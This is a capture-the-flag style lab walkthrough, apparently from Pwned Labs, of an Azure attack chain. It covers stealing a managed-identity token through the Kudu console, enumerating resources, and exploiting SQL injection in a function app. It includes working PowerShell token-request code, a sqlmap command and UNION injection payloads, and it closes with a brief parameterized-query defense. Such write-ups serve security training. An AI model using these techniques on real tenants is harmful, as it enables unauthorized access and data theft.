Exploit SQL Injection in Azure Function App
Exploit SQL Injection in Azure Function App
Scenario
Our red team performed a password spray and compromised several accounts that have been recently created with a default password, ready for the new company hires to log in. You have been provided with credentials for a compromised account and are tasked with gaining further access to the Azure environment.
Mega Big Tech will begin rolling out their own External Authentication Provider to reduce yearly operating costs. However, threat actors have already compromised the custom provider and altered its configuration. As a result, any Multifactor Authentication (MFA) challenge will now automatically return as successful, ultimately satisfying any Conditional Access Policy (CAP) that requires the standalone-MFA grant control (as opposed to the Authentication Strength-MFA grant control).
Walkthrough
Let’s lgoin to Azure portal using compromised user
In Recent
we see megabigtech-dev
app. We see that web app is available at the default domain megabigtech-dev.azurewebsites.net
. Azure Web App is a Platform-as-a-Service (PaaS) service that enables web applications to be quickly deployed without the need to create virtual machines.
Kudu is the engine behind a number of features in Azure App Service and each deployed app also features a Kudu (or Source Control Manager (SCM) management web app). The Kudu web app allows for debugging, monitoring and troubleshooting the app instance, and is available at the URL: https://<app_name>.scm.azurewebsites.net
.
Navigating to https://megabigtech-dev.scm.azurewebsites.net and logging in, we see the Kudu page below.
Let’s click on Environment
. We find IDENTITY_
on the environment page reveals the environment variables below. It shows that a managed identity has been assigned to the web app, which can be considered as a special type of user account that is assigned to the web app, and can be assigned permissions to access other resources in an Azure environment. This is useful when a web app might need to access storage or a database.
We can enumerate environmental variables from Debug console -> Powershell
. For example, dir env: | where {$_.Name -like "*IDENTITY_*"}
Let’s use the information to request an JWT (JSON Web Token) access token for the managed identity. This token will also allow us to authenticate to Azure with external applications.
This needs to be run from the Kudu instance as the instance metadata service (IMDS) is running on this, and it has details about the managed identity, and can request an access token for it from Entra ID. Running this locally on your own terminal won’t work.
1
2
3
4
5
6
7
8
9
10
11
12
$resource = "https://management.azure.com/"
$endpoint = $env:IDENTITY_ENDPOINT
$header = $env:IDENTITY_HEADER
$apiVersion = "2019-08-01"
$headers = @{ 'X-Identity-Header' = $header }
$url = "$($endpoint)?api-version=$apiVersion&resource=$resource"
$response = Invoke-RestMethod -Method Get -Uri $url -Headers $headers
$response.access_token
We can now use the token to perform further enumeration
We could use AzureHound, but there is an issue with using Azurehound >= 2.3.1 when authenticating using a JWT. The solution is to download and use Azurehound 2.2.1, which is not affected by this issue.
We can send direct requests Azure Resource Manager API
1
2
3
4
5
$authHeader = @{ Authorization = "Bearer $access_token" }
$resourceUrl = "https://management.azure.com/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resources?api-version=2021-04-01"
$resourceResponse = Invoke-RestMethod -Uri $resourceUrl -Method Get -Headers $authHeader
$resources = $resourceResponse.value
Or via Powershell Azuse (oid
from access token)
1
2
3
4
5
└─PS> Connect-AzAccount -AccessToken $access_token -AccountId 7d59eb72-783f-40e1-a012-f211e72b71ea
Subscription name Tenant
----------------- ------
Microsoft Azure Sponsorship 2590ccef-687d-493b-ae8d-441cbab63a72
Let’s enumerate resources
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
└─PS> Get-AzResource
Name : mbt-subscriptions202502152037
ResourceGroupName : mbt-rg-7
ResourceType : microsoft.insights/components
Location : eastus
ResourceId : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-7/providers/microsoft.insights/components/mbt-subscriptions202502152037
Tags :
Name : Failure Anomalies - mbt-subscriptions202502152037
ResourceGroupName : mbt-rg-7
ResourceType : microsoft.alertsmanagement/smartDetectorAlertRules
Location : global
ResourceId : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-7/providers/microsoft.alertsmanagement/smartDetectorAlertRules/Failure Anomalies - mbt-subscriptions202502152037
Tags :
Name : mbtrg7a151
ResourceGroupName : mbt-rg-7
ResourceType : Microsoft.Storage/storageAccounts
Location : eastus
ResourceId : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-7/providers/Microsoft.Storage/storageAccounts/mbtrg7a151
Tags :
Name : ASP-mbtrg7-8f15
ResourceGroupName : mbt-rg-7
ResourceType : Microsoft.Web/serverFarms
Location : eastus
ResourceId : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-7/providers/Microsoft.Web/serverFarms/ASP-mbtrg7-8f15
Tags :
Name : mbtrg7808a
ResourceGroupName : mbt-rg-7
ResourceType : Microsoft.Storage/storageAccounts
Location : eastus
ResourceId : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-7/providers/Microsoft.Storage/storageAccounts/mbtrg7808a
Tags :
Name : mbt-subscriptions
ResourceGroupName : mbt-rg-7
ResourceType : microsoft.insights/components
Location : eastus
ResourceId : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-7/providers/microsoft.insights/components/mbt-subscriptions
Tags :
Name : mbt-subscription
ResourceGroupName : mbt-rg-7
ResourceType : microsoft.insights/components
Location : eastus
ResourceId : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-7/providers/microsoft.insights/components/mbt-subscription
Tags :
Name : mbtrg78f51
ResourceGroupName : mbt-rg-7
ResourceType : Microsoft.Storage/storageAccounts
Location : eastus
ResourceId : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-7/providers/Microsoft.Storage/storageAccounts/mbtrg78f51
Tags :
Name : ASP-mbtrg7-9923
ResourceGroupName : mbt-rg-7
ResourceType : Microsoft.Web/serverFarms
Location : eastus
ResourceId : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-7/providers/Microsoft.Web/serverFarms/ASP-mbtrg7-9923
Tags :
Name : mbtrg7b4ca
ResourceGroupName : mbt-rg-7
ResourceType : Microsoft.Storage/storageAccounts
Location : eastus
ResourceId : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-7/providers/Microsoft.Storage/storageAccounts/mbtrg7b4ca
Tags :
Name : Failure Anomalies - mbt-subscription
ResourceGroupName : mbt-rg-7
ResourceType : microsoft.alertsmanagement/smartDetectorAlertRules
Location : global
ResourceId : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-7/providers/microsoft.alertsmanagement/smartDetectorAlertRules/Failure Anomalies - mbt-subscription
Tags :
Name : ASP-mbtrg7-a23f
ResourceGroupName : mbt-rg-7
ResourceType : Microsoft.Web/serverFarms
Location : eastus
ResourceId : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-7/providers/Microsoft.Web/serverFarms/ASP-mbtrg7-a23f
Tags :
Name : mbtrg7a423
ResourceGroupName : mbt-rg-7
ResourceType : Microsoft.Storage/storageAccounts
Location : eastus
ResourceId : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-7/providers/Microsoft.Storage/storageAccounts/mbtrg7a423
Tags :
Name : Failure Anomalies - mbt-subscriptions
ResourceGroupName : mbt-rg-7
ResourceType : microsoft.alertsmanagement/smartDetectorAlertRules
Location : global
ResourceId : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-7/providers/microsoft.alertsmanagement/smartDetectorAlertRules/Failure Anomalies - mbt-subscriptions
Tags :
Name : mbtrg7b9fb
ResourceGroupName : mbt-rg-7
ResourceType : Microsoft.Storage/storageAccounts
Location : eastus
ResourceId : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-7/providers/Microsoft.Storage/storageAccounts/mbtrg7b9fb
Tags :
Name : mbt-subscriptions
ResourceGroupName : mbt-rg-7
ResourceType : Microsoft.Web/sites
Location : eastus
ResourceId : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-7/providers/Microsoft.Web/sites/mbt-subscriptions
Tags :
Name Value
============================================== =======================================================================================================================================================================
=======================================================================
hidden-link: /app-insights-instrumentation-key 33256356-7554-4e9a-b9bb-46e4d95ad20e
hidden-link: /app-insights-conn-string InstrumentationKey=33256356-7554-4e9a-b9bb-46e4d95ad20e;IngestionEndpoint=https://eastus-8.in.applicationinsights.azure.com/;LiveEndpoint=https://eastus.livediagnostic
s.monitor.azure.com/;ApplicationId=2e3c35cd-8cf7-48e5-9cc9-42bf67ec99d5
hidden-link: /app-insights-resource-id /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-7/providers/microsoft.insights/components/mbt-subscriptions202502152037
To retrieve more infromation about the mbt-subscriptions
web app from Azure Resource Manager API
1
2
3
4
5
6
7
8
9
10
11
12
13
$subscriptionId = "ceff06cb-e29d-4486-a3ae-eaaec5689f94"
$resourceGroupName = "mbt-rg-7"
$functionAppName = "mbt-subscriptions"
$apiVersion = "2019-08-01"
# Form the URL for listing functions
$listFunctionsUrl = "https://management.azure.com/subscriptions/$subscriptionId/resourceGroups/$resourceGroupName/providers/Microsoft.Web/sites/$functionAppName/functions?api-version=$apiVersion"
# List functions
$functions = Invoke-RestMethod -Uri $listFunctionsUrl -Method Get -Headers $authHeader
# Output the functions
$functions.value
Via Powershell Az
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─PS> (Get-AzResource -ResourceName "mbt-subscriptions" -ResourceGroupName "mbt-rg-7" -ExpandProperties).Properties
ApplicationId : mbt-subscriptions
AppId : 84d38a43-9be2-45df-ae24-5cfccdb3166e
Application_Type : web
Flow_Type : Redfield
Request_Source : IbizaWebAppExtensionCreate
InstrumentationKey : 61293687-5a4e-49bc-99c8-1aec385d7b8e
<SNIP>
name : mbt-subscriptions
state : Running
hostNames : {mbt-subscriptions.azurewebsites.net}
webSpace : mbt-rg-7-EastUSwebspace
<SNIP>
kind : functionapp
1
2
3
4
5
6
7
8
└─PS> Get-AzWebApp -name "mbt-subscriptions"
<SNIP>
State : Running
HostNames : {mbt-subscriptions.azurewebsites.net}
RepositorySiteName : mbt-subscriptions
<SNIP>
Kind : functionapp
We see that it’s a function app. If enumerate it further, we see it’s a PowerShell app with an HTTP trigger named HTTPTrigger1
. Every time the function app URL endpoint is invoked it will attempt to execute the script. The URL of the function is https://mbt-subscriptions.azurewebsites.net/api/HttpTrigger1
, as function apps have a defined URL structure that is https://<function_app>/api/<function_app_name>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
└─PS> (Get-AzResource -ResourceGroupName "mbt-rg-7" -ResourceType "Microsoft.Web/sites/functions" -ResourceName "mbt-subscriptions" -ApiVersion "2018-11-01").Properties
name : HttpTrigger1
function_app_id :
script_root_path_href : https://mbt-subscriptions.azurewebsites.net/admin/vfs/site/wwwroot/HttpTrigger1/
script_href : https://mbt-subscriptions.azurewebsites.net/admin/vfs/site/wwwroot/HttpTrigger1/run.ps1
config_href : https://mbt-subscriptions.azurewebsites.net/admin/vfs/site/wwwroot/HttpTrigger1/function.json
test_data_href : https://mbt-subscriptions.azurewebsites.net/admin/vfs/data/Functions/sampledata/HttpTrigger1.dat
secrets_file_href :
href : https://mbt-subscriptions.azurewebsites.net/admin/functions/HttpTrigger1
config : @{bindings=System.Object[]}
files :
test_data : {
"name": "Azure"
}
invoke_url_template : https://mbt-subscriptions.azurewebsites.net/api/httptrigger1
language : powershell
isDisabled : False
If we curl url, we receive an error.
1
2
└─$ curl https://mbt-subscriptions.azurewebsites.net/api/HttpTrigger1
To access the 'subscribers' database please provide an email address to return details on a subscriber, e.g. mason.lopez@lycos.com.
The function app seems to be retrieving data from a backend database named subscribers
given a provided subscriber email address. Let’s test it by sending json containing email mentioned in the error
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
└─$ curl https://mbt-subscriptions.azurewebsites.net/api/HttpTrigger1 -d '{"email": "mason.lopez@lycos.com"}'
{
"RowError": "",
"RowState": 2,
"Table": {
"CaseSensitive": false,
"IsInitialized": true,
"RemotingFormat": 0,
"ChildRelations": [],
"Columns": [
"ID",
"Name",
"Email",
"SubscriptionType"
],
"Constraints": [],
"DataSet": null,
"DefaultView": [
"System.Data.DataRowView"
],
"DisplayExpression": "",
"ExtendedProperties": {},
"HasErrors": false,
"Locale": {
"Parent": "en",
"LCID": 1033,
"KeyboardLayoutId": 1033,
"Name": "en-US",
"IetfLanguageTag": "en-US",
"DisplayName": "English (United States)",
"NativeName": "English (United States)",
"EnglishName": "English (United States)",
"TwoLetterISOLanguageName": "en",
"ThreeLetterISOLanguageName": "eng",
"ThreeLetterWindowsLanguageName": "ENU",
"CompareInfo": "CompareInfo - en-US",
"TextInfo": "TextInfo - en-US",
"IsNeutralCulture": false,
"CultureTypes": 6,
"NumberFormat": "System.Globalization.NumberFormatInfo",
"DateTimeFormat": "System.Globalization.DateTimeFormatInfo",
"Calendar": "System.Globalization.GregorianCalendar",
"OptionalCalendars": "System.Globalization.GregorianCalendar",
"UseUserOverride": true,
"IsReadOnly": true
},
"MinimumCapacity": 50,
"ParentRelations": [],
"PrimaryKey": [],
"Rows": [
"System.Data.DataRow"
],
"TableName": "",
"Namespace": "",
"Prefix": "",
"Site": null,
"Container": null,
"DesignMode": false
},
"ItemArray": [
18,
"Mason Lopez",
"mason.lopez@lycos.com",
"Basic"
],
"HasErrors": false,
"ID": 18,
"Name": "Mason Lopez",
"Email": "mason.lopez@lycos.com",
"SubscriptionType": "Basic"
}
The table has columns named Name
, Email
and SubscriptionType
. We can send request to Burp
1
└─$ https_proxy=http://127.0.0.1:8080 curl https://mbt-subscriptions.azurewebsites.net/api/HttpTrigger1 -d '{"email": "mason.lopez@lycos.com"}' -k
From there we can play around with different SQLi payloads. But we can use sqlmap
for faster exploitation
1
└─$ sqlmap -r sqli.req --batch --level 5 --risk 3 -dbms 'Microsoft SQL Server'
Manually, we find working payload
1
{"email": "nonexist' UNION SELECT 1,2,3,4 -- -"}
By working around with it, we retrieve existing databases and tables
1
{"email": "nonexist' UNION SELECT 1,table_name,3,4 from information_schema.tables-- -"}
Attack path
Attack path visualization created by Mathias Persson for Pwned Labs
Defense
Based on lab’s Defense section.
In order to mitigate this attack the function app should use parameterized queries (prepared statements), that separate SQL logic from data. Below, ?
is a placeholder for a parameter, and the actual value is bound to the query through a separate function call.
1
SELECT * FROM <table> WHERE Email = ?;
The function code should validate and sanitize all user inputs to ensure they conform to expected formats (like a valid email format in this case).
Reading: https://learn.microsoft.com/en-us/azure/azure-functions/security-concepts?tabs=v4